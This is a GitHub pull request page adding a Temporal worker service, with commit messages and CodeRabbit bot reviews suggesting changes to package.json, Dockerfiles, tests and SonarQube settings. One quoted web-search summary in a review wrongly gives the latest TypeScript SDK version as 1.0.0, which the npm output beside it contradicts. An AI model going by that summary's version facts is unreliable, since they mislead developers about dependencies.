Watching the entire project root can trigger unnecessary restarts (e.g., on lock file or config changes). Update the dev script to watch only src:

-"dev": "nodemon --watch ./ --ext ts --exec npx ts-node src/index.ts"
+"dev": "nodemon --watch src --ext ts --exec npx ts-node src/index.ts"
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 91c7c23 and 605b01c.

📒 Files selected for processing (1)
  • workers/main/package.json (1 hunks)
🧰 Additional context used
🪛 GitHub Actions: Code Quality
workers/main/package.json

[error] 1-1: npm ci failed: package.json and package-lock.json are out of sync. Lock file's @temporalio/[email protected] does not satisfy @temporalio/[email protected]. Missing dependencies @temporalio/[email protected], @temporalio/[email protected], and @temporalio/[email protected] from lock file. Run 'npm install' to update lock file.

🔇 Additional comments (3)
workers/main/package.json (3)

1-4: Skip review: Package metadata
Metadata fields (name, version, main) are correctly set and no issues detected.

🧰 Tools
🪛 GitHub Actions: Code Quality

[error] 1-1: npm ci failed: package.json and package-lock.json are out of sync. Lock file's @temporalio/[email protected] does not satisfy @temporalio/[email protected]. Missing dependencies @temporalio/[email protected], @temporalio/[email protected], and @temporalio/[email protected] from lock file. Run 'npm install' to update lock file.


10-18: Skip review: nodemonConfig
The nodemonConfig correctly maps .ts extensions and watches the src directory as expected.


25-30: Skip review: devDependencies
The devDependencies (@types/node, nodemon, ts-node, typescript) are appropriate for a TypeScript worker project.

Renamed the package from `temporal-worker` to `temporal-worker-main` and updated @temporalio/client and its related dependencies to version 1.11.8. This ensures compatibility with the latest features and fixes for Temporal libraries.
- Modified the project structure to include a new `workers-shared/` directory for shared utilities, types, and configuration used by multiple Temporal workers.
- Updated the documentation to reflect the new organization, emphasizing the importance of reusing code across workers to avoid duplication and promote consistency.
- Clarified the placement of Temporal workers and shared resources within the project.

These changes enhance the clarity and maintainability of the project structure and documentation.
- Introduced a new `temporal-worker-main` service in `docker-compose.prod.yml` for production deployment, with environment set to production.
- Updated the `NODE_ENV` variable in `docker-compose.yml` to development for the main worker.
- Refactored the `Dockerfile.temporal-worker-main` to ensure proper build and runtime configurations, including changes to the output directory and command execution.
- Updated dependencies in `package.json` and `package-lock.json` to use version 1.11.6 for `@temporalio/client` and related packages, ensuring compatibility with the latest features.

These changes enhance the deployment structure and ensure the Temporal worker operates correctly in both development and production environments.
@speedandfunction speedandfunction deleted a comment from coderabbitai bot May 16, 2025
@speedandfunction speedandfunction deleted a comment from coderabbitai bot May 16, 2025
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 4fd8b8a and 5c402e9.

⛔ Files ignored due to path filters (1)
  • workers/main/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (6)
  • Dockerfile.temporal-worker-main (1 hunks)
  • docker-compose.prod.yml (1 hunks)
  • docker-compose.yml (3 hunks)
  • workers/main/package.json (1 hunks)
  • workers/main/src/index.ts (1 hunks)
  • workers/main/tsconfig.json (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (5)
  • workers/main/src/index.ts
  • workers/main/tsconfig.json
  • Dockerfile.temporal-worker-main
  • workers/main/package.json
  • docker-compose.yml

@speedandfunction speedandfunction deleted a comment from coderabbitai bot May 16, 2025
- Updated the activity module import logic in index.ts to exclude test files (ending with .test.ts and .test.js) from being loaded. This change ensures that only relevant activity modules are included, improving the clarity and performance of the worker.

These modifications enhance the organization of the codebase by preventing unnecessary test files from being processed.
- Updated the Dockerfile.temporal to pin the netcat-openbsd package to version 1.217-r0. This change ensures consistency in the build environment and prevents potential issues with future updates.

Additionally, modified the error handling in index.ts to check for 'NotFoundError' when describing the workflow, improving the robustness of the scheduling logic.

These changes enhance the stability and reliability of the Temporal worker setup.
- Updated the activity module import logic in index.ts to filter out non-function exports and log warnings for ignored exports. This change ensures that only valid activity functions are included, improving the robustness of the worker's functionality.
- Added checks to warn when no valid activity functions are found in a module, enhancing error visibility during development.

These modifications improve the clarity and reliability of the activity module loading process.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (5)
workers/main/src/index.ts (5)

33-39: Fix floating JSDoc comment

This JSDoc comment appears to be unattached to any code element. It might be intended as a file-level documentation, but it's currently not serving its purpose correctly.

Either move this comment to the top of the file as a file-level documentation, or remove it since the run() function already has detailed documentation.

-/**
- * Entry point for the Temporal worker service.
- *
- * Loads workflow and activity modules, connects to the Temporal server, ensures a schedule exists,
- * and starts the worker to process workflows and activities from the task queue.
- */

46-67: Add logging to the schedule creation function

The function lacks logging of successful operations, which would improve observability and debugging.

 async function createScheduleIfNotExists(connection: Connection) {
   const scheduleClient = new ScheduleClient({ connection });
   try {
     await scheduleClient.getHandle('example-workflow-hourly').describe();
+    console.log('Schedule example-workflow-hourly already exists');
   } catch (err: any) {
     if (err?.name === 'NotFoundError' || err?.message?.includes('workflow not found')) {
+      console.log('Creating schedule example-workflow-hourly...');
       await scheduleClient.create({
         scheduleId: 'example-workflow-hourly',
         spec: { cronExpressions: ['0 * * * *'] },
         action: {
           type: 'startWorkflow',
           workflowType: 'exampleWorkflow',
           taskQueue: 'main-queue',
           workflowId: 'example-workflow-hourly',
           args: [],
         },
       });
+      console.log('Schedule example-workflow-hourly created successfully');
     } else {
+      console.error('Failed to check for existing schedule:', err);
       throw err;
     }
   }
 }

9-29: Consider adding more dynamic workflow loading

While the activity modules are loaded dynamically with validation, there's no corresponding logic for dynamically loading workflow modules. They're only referenced by path in the Worker.create() call.

For consistency and better error reporting, consider implementing similar validation logic for workflows:

const workflowModules = readdirSync(workflowsPath)
  .filter((f: string) => (f.endsWith('.ts') || f.endsWith('.js')) && !f.endsWith('.test.ts') && !f.endsWith('.test.js'))
  .map((f: string) => {
    const mod = require(path.join(workflowsPath, f));
    // Log loaded workflows for better observability
    console.log(`Loaded workflow module: ${f}, exports: ${Object.keys(mod).join(', ')}`);
    return mod;
  });

// This would allow you to validate workflows if needed in the future
// but still use the workflowsPath for now as temporal handles this
🧰 Tools
🪛 Biome (1.9.4)

[error] 13-13: Don't use 'Function' as a type.

Prefer explicitly define the function shape. This type accepts any function-like value, which can be a common source of bugs.

(lint/complexity/noBannedTypes)


77-87: Add more detailed logging in the run function

Adding more detailed logging would improve the observability of the worker startup process.

 async function run() {
+  console.log(`Connecting to Temporal server at ${address}...`);
   const connection = await Connection.connect({ address });
+  console.log('Connected to Temporal server successfully');

   await createScheduleIfNotExists(connection);

+  console.log(`Starting worker with ${Object.keys(activities).length} activities...`);
   await Worker.create({
     workflowsPath,
     activities,
     taskQueue: 'main-queue',
   }).then(worker => worker.run());
+  console.log('Worker started successfully');
 }

89-92: Add more context to the error logging

The current error handling is minimal. Adding more context would make it easier to diagnose issues.

 run().catch((err) => {
-  console.error(err);
+  console.error('Temporal worker failed to start:', err);
   process.exit(1);
 });
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 16ced12 and 270ecfd.

📒 Files selected for processing (1)
  • workers/main/src/index.ts (1 hunks)
🧰 Additional context used
🪛 Biome (1.9.4)
workers/main/src/index.ts

[error] 13-13: Don't use 'Function' as a type.

Prefer explicitly define the function shape. This type accepts any function-like value, which can be a common source of bugs.

(lint/complexity/noBannedTypes)

⏰ Context from checks skipped due to timeout of 90000ms (1)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)

…oral

- Updated the Dockerfile.temporal to remove the version pin for the netcat-openbsd package. This change allows for the installation of the latest version, ensuring that the build environment can benefit from any updates or fixes provided by the package maintainers.

This modification enhances the flexibility of the Docker setup while maintaining the necessary functionality.
- Removed the dynamic loading of activity modules in index.ts, simplifying the import process by directly importing activities from the new activities/index.ts file. This change enhances code clarity and maintainability by reducing complexity in the module loading logic.

- Added a new activities/index.ts file to centralize activity exports, improving the organization of activity functions within the project.

These modifications contribute to a cleaner and more efficient codebase for the Temporal worker.
coderabbitai[bot]
coderabbitai bot previously approved these changes May 16, 2025
- Updated the Dockerfile.temporal to pin the netcat-openbsd package to version 1.226.1.1-r0. This change ensures consistency in the build environment and prevents potential issues with future updates.

These modifications enhance the stability and reliability of the Docker setup for the Temporal worker.
- Added a comment to disable SonarCloud warning for Dockerfile best practices.
- Removed the unnecessary `ls -al` command from the build step to streamline the Dockerfile.

These modifications enhance the clarity and efficiency of the Docker build process for the Temporal worker.
coderabbitai[bot]
coderabbitai bot previously approved these changes May 16, 2025
- Added '*.vhdx' and 'workers/main/node_modules' to .dockerignore to prevent unnecessary files from being included in the Docker context.
- Removed NODE_ENV setting from docker-compose.prod.yml to streamline production configuration.
- Removed NODE_ENV setting from docker-compose.yml to ensure consistency across environments.
- Updated Dockerfile.temporal-worker-main to ignore scripts during npm install, improving build efficiency.

These changes enhance the Docker setup by optimizing the build process and ensuring cleaner configurations for production and development environments.
coderabbitai[bot]
coderabbitai bot previously approved these changes May 16, 2025
- Introduced a new Vitest configuration file (`vitest.config.ts`) to set up testing environment for the project.
- Added test cases for `exampleActivity` and `exampleWorkflow` functions to ensure expected behavior and correctness.
- Updated `package.json` to include test and coverage scripts using Vitest and c8 for improved testing capabilities.

These changes enhance the testing framework of the project, allowing for better validation of functionality and code quality.
- Added `sonar.javascript.lcov.reportPaths` to `sonar-project.properties` for improved coverage reporting in SonarQube.
- Updated GitHub Actions workflow to install dependencies and run tests with coverage before executing the SonarQube scan.
- Modified the coverage script in `package.json` to include LCOV reporting, enhancing the visibility of test coverage metrics.

These changes improve the project's code quality analysis and ensure comprehensive test coverage reporting in SonarQube.
… testing and coverage

- Added `@vitest/coverage-v8` and `vite` to `devDependencies` in `package.json` to enhance testing capabilities and coverage reporting.
- Updated the coverage script in `package.json` to utilize Vitest for coverage reporting.
- Enhanced `vitest.config.ts` to include detailed coverage configuration, specifying thresholds and exclusions for better test coverage management.
- Refactored `index.ts` to remove unused schedule creation logic, streamlining the worker's functionality.
- Introduced new tests for schedule management, ensuring robustness in the scheduling logic.

These changes improve the testing framework and coverage reporting, contributing to better code quality and maintainability.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

♻️ Duplicate comments (2)
workers/main/package.json (2)

8-8: 🛠️ Refactor suggestion

Update nodemon watch path in dev script

The dev script is watching the root directory (./) while the nodemonConfig only watches the src directory. This inconsistency could cause issues.

-    "dev": "DEBUG=* nodemon --watch ./ --ext ts --exec npx ts-node src/index.ts",
+    "dev": "DEBUG=* nodemon --watch ./src --ext ts --exec npx ts-node src/index.ts",

22-25: 💡 Verification agent

🧩 Analysis chain

Ensure consistent versioning across Temporal packages

The current package shows consistent versioning across Temporal packages (all at 1.11.6), which is good. However, based on previous review comments, there was a suggestion to update to 1.11.8. Please verify if this is still needed or if 1.11.6 is the correct version to use.


🌐 Web query:

What is the latest stable version of @temporalio SDK packages?

💡 Result:

Based on the search results, I can provide information about the latest stable versions of Temporal SDK packages across different programming languages.

For the TypeScript SDK, the latest stable version is 1.0.0, which was released as a stable version as mentioned in the announcements section[8].

For the .NET SDK, the latest version is 1.6.0 according to the NuGet Gallery information[9]. The .NET SDK is now generally available (GA) as noted in the announcements[8].

For the Python SDK, the latest version was released on May 9, 2025, though the specific version number isn't explicitly mentioned in the search results[3].

For the Go SDK, there is mention of updates in April 2025, but no specific stable version number is provided in the search results[5].

For the Java SDK, the search results mention v1.27.0 as a recent release with some breaking changes related to Update With Start functionality[2].

For the Ruby SDK, it's currently in pre-release status as announced at Replay 2025[4].

It's worth noting that the NPM package "temporalio" has been deprecated, and instead, users are recommended to directly install the individual packages: @temporalio/client, @temporalio/worker, @temporalio/workflow, and @temporalio/activity[7].

Citations:


🏁 Script executed:

#!/bin/bash
set -e

echo "===== Temporal packages in repository ====="
rg '@temporalio/' -n

echo
echo "===== Latest versions from npm ====="
npm view @temporalio/client version
npm view @temporalio/worker version
npm view @temporalio/workflow version
npm view @temporalio/activity version || true

Length of output: 3694


Bump @temporalio packages to latest stable (1.11.8)

The workers/main/package.json is currently pinning the Temporal SDK at 1.11.6, but npm shows 1.11.8 is the latest:

• File: workers/main/package.json
Lines: 23–25

-   "@temporalio/client": "1.11.6",
-   "@temporalio/worker": "1.11.6",
-   "@temporalio/workflow": "1.11.6"
+   "@temporalio/client": "1.11.8",
+   "@temporalio/worker": "1.11.8",
+   "@temporalio/workflow": "1.11.8"

After updating, run npm install to update your lockfile accordingly.

🧹 Nitpick comments (8)
workers/main/src/__tests__/exampleWorkflow.test.ts (1)

10-13: Consider improving empty string handling in the workflow implementation

While this test correctly verifies the current behavior, the output "Hello, !" for an empty string input might not provide the best user experience. Consider enhancing the workflow implementation to handle empty names more gracefully.

The issue is in the implementation of exampleWorkflow rather than the test. Here's a possible enhancement:

// In workers/main/src/workflows/exampleWorkflow.ts
export async function exampleWorkflow(name: string): Promise<string> {
-  return `Hello, ${name}!`;
+  const formattedName = name.trim() || "World";
+  return `Hello, ${formattedName}!`;
}
workers/main/src/__tests__/schedule.test.ts (2)

29-35: Consider verifying the parameters passed to create

While the test correctly verifies that the create method is called, it doesn't check if it's called with the correct parameters. Consider adding assertions to verify the schedule configuration.

  it('creates schedule if not found', async () => {
    describeMock.mockRejectedValue({ name: 'NotFoundError' });
    createMock.mockResolvedValue({});
    const { createScheduleIfNotExists } = await import('../utils/schedule');
    await expect(createScheduleIfNotExists({} as any)).resolves.toBeUndefined();
    expect(createMock).toHaveBeenCalled();
+   expect(createMock).toHaveBeenCalledWith({
+     scheduleId: 'example-workflow-hourly',
+     spec: { cronExpressions: ['0 * * * *'] },
+     action: expect.objectContaining({
+       type: 'startWorkflow',
+       workflowType: 'exampleWorkflow',
+       taskQueue: 'main-queue',
+     }),
+   });
  });

37-42: Add test case for message-based error detection

The implementation in schedule.ts handles errors both by name (NotFoundError) and by message content (includes('workflow not found')), but only the name-based detection is tested. Add a test case for the message-based detection path.

it('creates schedule if error message indicates not found', async () => {
  describeMock.mockRejectedValue({ message: 'workflow not found' });
  createMock.mockResolvedValue({});
  const { createScheduleIfNotExists } = await import('../utils/schedule');
  await expect(createScheduleIfNotExists({} as any)).resolves.toBeUndefined();
  expect(createMock).toHaveBeenCalled();
});
workers/main/src/__tests__/exampleActivity.test.ts (1)

10-13: Consider improving empty string handling in the activity implementation

Similar to the workflow test, this correctly verifies the current behavior, but "Processed: " for an empty string input might not be optimal. Consider enhancing the activity implementation to handle empty inputs more gracefully.

// In workers/main/src/activities/exampleActivity.ts
export async function exampleActivity(name: string): Promise<string> {
-  return `Processed: ${name}`;
+  if (!name.trim()) {
+    return "Processed: [Empty Input]";
+  }
+  return `Processed: ${name}`;
}
workers/main/src/utils/schedule.ts (3)

9-30: Consider making the schedule ID and workflow configurations more flexible

The function works well but has hardcoded values for the schedule ID, workflow type, and task queue. For better reusability, consider parameterizing these values.

- export async function createScheduleIfNotExists(connection: Connection) {
+ export async function createScheduleIfNotExists(
+   connection: Connection,
+   options: {
+     scheduleId?: string;
+     workflowType?: string;
+     taskQueue?: string;
+     cronExpression?: string;
+   } = {}
+ ) {
+   const {
+     scheduleId = 'example-workflow-hourly',
+     workflowType = 'exampleWorkflow',
+     taskQueue = 'main-queue',
+     cronExpression = '0 * * * *'
+   } = options;
+  
  const scheduleClient = new ScheduleClient({ connection });
  try {
-    await scheduleClient.getHandle('example-workflow-hourly').describe();
+    await scheduleClient.getHandle(scheduleId).describe();
  } catch (err: any) {
    if (err?.name === 'NotFoundError' || err?.message?.includes('workflow not found')) {
      await scheduleClient.create({
-        scheduleId: 'example-workflow-hourly',
-        spec: { cronExpressions: ['0 * * * *'] },
+        scheduleId,
+        spec: { cronExpressions: [cronExpression] },
        action: {
          type: 'startWorkflow',
-          workflowType: 'exampleWorkflow',
-          taskQueue: 'main-queue',
-          workflowId: 'example-workflow-hourly',
+          workflowType,
+          taskQueue,
+          workflowId: scheduleId,
          args: [],
        },
      });
    } else {
      throw err;
    }
  }
}

13-14: Use a more specific error type instead of any

Using any for the error type reduces type safety. Consider using a more specific type for better error handling.

- } catch (err: any) {
-   if (err?.name === 'NotFoundError' || err?.message?.includes('workflow not found')) {
+ } catch (err: unknown) {
+   const error = err as Error;
+   if (error?.name === 'NotFoundError' || error?.message?.includes('workflow not found')) {

17-18: Document the cron expression meaning

The cron expression '0 * * * *' runs at minute 0 of every hour. Consider adding a comment to clarify this schedule pattern.

      await scheduleClient.create({
        scheduleId: 'example-workflow-hourly',
+       // Run at the start of every hour (minute 0)
        spec: { cronExpressions: ['0 * * * *'] },
        action: {
workers/main/package.json (1)

5-11: Add lint script for code quality

Consider adding a lint script to ensure code quality and consistency across the project.

  "scripts": {
    "start": "DEBUG=* npx ts-node src/index.ts",
    "build": "tsc",
    "dev": "DEBUG=* nodemon --watch ./src --ext ts --exec npx ts-node src/index.ts",
    "test": "vitest run",
-    "coverage": "vitest run --coverage"
+    "coverage": "vitest run --coverage",
+    "lint": "eslint src --ext .ts"
  },

This would require adding ESLint as a devDependency:

  "devDependencies": {
    "@types/node": "^18.0.0",
    "@vitest/coverage-v8": "3.1.3",
    "c8": "10.1.3",
+    "eslint": "^8.0.0",
+    "@typescript-eslint/eslint-plugin": "^6.0.0",
+    "@typescript-eslint/parser": "^6.0.0",
    "nodemon": "^3.0.0",
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 1e45e6f and 07d188d.

⛔ Files ignored due to path filters (1)
  • workers/main/package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (9)
  • .github/workflows/code-quality.yml (1 hunks)
  • sonar-project.properties (1 hunks)
  • workers/main/package.json (1 hunks)
  • workers/main/src/__tests__/exampleActivity.test.ts (1 hunks)
  • workers/main/src/__tests__/exampleWorkflow.test.ts (1 hunks)
  • workers/main/src/__tests__/schedule.test.ts (1 hunks)
  • workers/main/src/index.ts (1 hunks)
  • workers/main/src/utils/schedule.ts (1 hunks)
  • workers/main/vitest.config.ts (1 hunks)
✅ Files skipped from review due to trivial changes (2)
  • sonar-project.properties
  • workers/main/vitest.config.ts
🚧 Files skipped from review as they are similar to previous changes (1)
  • workers/main/src/index.ts
🧰 Additional context used
🧬 Code Graph Analysis (3)
workers/main/src/__tests__/exampleWorkflow.test.ts (1)
workers/main/src/workflows/exampleWorkflow.ts (1)
  • exampleWorkflow (3-5)
workers/main/src/__tests__/schedule.test.ts (1)
workers/main/src/utils/schedule.ts (1)
  • createScheduleIfNotExists (9-30)
workers/main/src/__tests__/exampleActivity.test.ts (1)
workers/main/src/activities/exampleActivity.ts (1)
  • exampleActivity (1-3)
🔇 Additional comments (4)
.github/workflows/code-quality.yml (1)

28-31: Great addition of test coverage for the Temporal worker!

These steps properly integrate the test coverage of the new Temporal worker into the SonarQube analysis. Using npm ci instead of npm install is a best practice for CI environments, and running coverage before the SonarQube scan ensures that the coverage data is available for the analysis.

workers/main/src/__tests__/exampleWorkflow.test.ts (1)

1-19: Well-structured test cases with good coverage!

The tests are well-organized and cover both the happy path and edge cases (empty string, special characters). Using async/await with Vitest is properly implemented.

workers/main/src/__tests__/schedule.test.ts (1)

1-15: Well-structured mocking approach!

The mocking of the @temporalio/client module is clean and effective, providing good control over the testing environment for the schedule utility.

workers/main/src/__tests__/exampleActivity.test.ts (1)

1-19: Well-structured test cases with good coverage for the activity!

The tests are well-organized and mirror the structure of the workflow tests, providing consistency in the testing approach. Good coverage of normal cases and edge cases.

coderabbitai[bot]
coderabbitai bot previously approved these changes May 16, 2025
…coverage reporting

- Added `sonar.exclusions` to `sonar-project.properties` to exclude specific directories and files from coverage analysis, enhancing the accuracy of the SonarQube reports.
- This change helps in focusing on relevant code and improving overall code quality assessment.

These modifications contribute to a more effective integration with SonarQube by refining the coverage metrics.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

🧹 Nitpick comments (1)
sonar-project.properties (1)

4-4: Review SonarQube exclusion patterns for scope and readability
The glob patterns correctly exclude tests, build artifacts, and entry-point files. To avoid unintentionally excluding other parts of the repo and improve maintainability, consider scoping these to workers/main and splitting the line for readability.

-sonar.exclusions=**/src/__tests__/**,**/src/dist/**,**/src/types.ts,**/src/activities/index.ts,**/src/workflows/index.ts,**/src/index.ts
+sonar.exclusions=\
+  workers/main/src/__tests__/**,\
+  workers/main/src/dist/**,\
+  workers/main/src/types.ts,\
+  workers/main/src/activities/index.ts,\
+  workers/main/src/workflows/index.ts,\
+  workers/main/src/index.ts
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 07d188d and 7f710e7.

📒 Files selected for processing (1)
  • sonar-project.properties (1 hunks)
⏰ Context from checks skipped due to timeout of 90000ms (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (1)
sonar-project.properties (1)

3-3:

✅ Verification successful

Verify LCOV coverage report path for the Temporal worker
Ensure that the Vitest setup in workers/main is configured to emit the LCOV report at workers/main/coverage/lcov.info. If the coverage output directory or filename differs, SonarQube won’t pick up the coverage data.

You can run this shell snippet from the repo root to confirm the report exists:


🏁 Script executed:

#!/bin/bash
# Check for the LCOV report
if [ -f "workers/main/coverage/lcov.info" ]; then
  echo "LCOV report found"
  exit 0
else
  echo "LCOV report missing at workers/main/coverage/lcov.info"
  exit 1
fi

Length of output: 172


🏁 Script executed:

#!/bin/bash
# Locate Vitest config(s) in workers/main and inspect coverage settings
CONFIG_FILES=$(find workers/main -maxdepth 3 -type f \( -name "vitest.config.ts" -o -name "vitest.config.js" \))
if [ -z "$CONFIG_FILES" ]; then
  echo "No Vitest config found in workers/main"
  exit 0
fi

echo "Found Vitest config(s):"
echo "$CONFIG_FILES"
echo
echo "Coverage-related settings in Vitest config(s):"
grep -R "coverage" -n $CONFIG_FILES || echo "No coverage settings found in these files"

Length of output: 490


🏁 Script executed:

#!/bin/bash
# Show the Vitest coverage configuration block with context
grep -R -n -A10 "coverage:" workers/main/vitest.config.ts

Length of output: 370


Sonar LCOV Path Is Correct—Generate Coverage Before Analysis

The sonar.javascript.lcov.reportPaths=workers/main/coverage/lcov.info entry matches Vitest’s default coverage output directory when using lcov reporter. The “missing” file simply means tests haven’t been run with coverage enabled, not that the path is wrong.

• No change needed in sonar-project.properties.
• Ensure your CI or local workflow invokes Vitest with --coverage (e.g. vitest --coverage) so that workers/main/coverage/lcov.info is generated before running SonarQube.

Copy link

Copy link
Contributor

@killev killev left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This PR is too large to be reviewed. Can you please make a chain of smaller PRs

  1. Add tests
  2. Add eslint
  3. add rule
  4. Add worker

@anatolyshipitz anatolyshipitz requested a review from killev May 19, 2025 17:00
@anatolyshipitz anatolyshipitz marked this pull request as draft May 19, 2025 17:29
@anatolyshipitz anatolyshipitz changed the title feat(workers): add Temporal worker structure and initial implementation WIP: feat(workers): add Temporal worker structure and initial implementation May 19, 2025
@anatolyshipitz anatolyshipitz changed the title WIP: feat(workers): add Temporal worker structure and initial implementation feat(workers): add Temporal worker structure and initial implementation May 25, 2025
@anatolyshipitz anatolyshipitz self-assigned this May 25, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants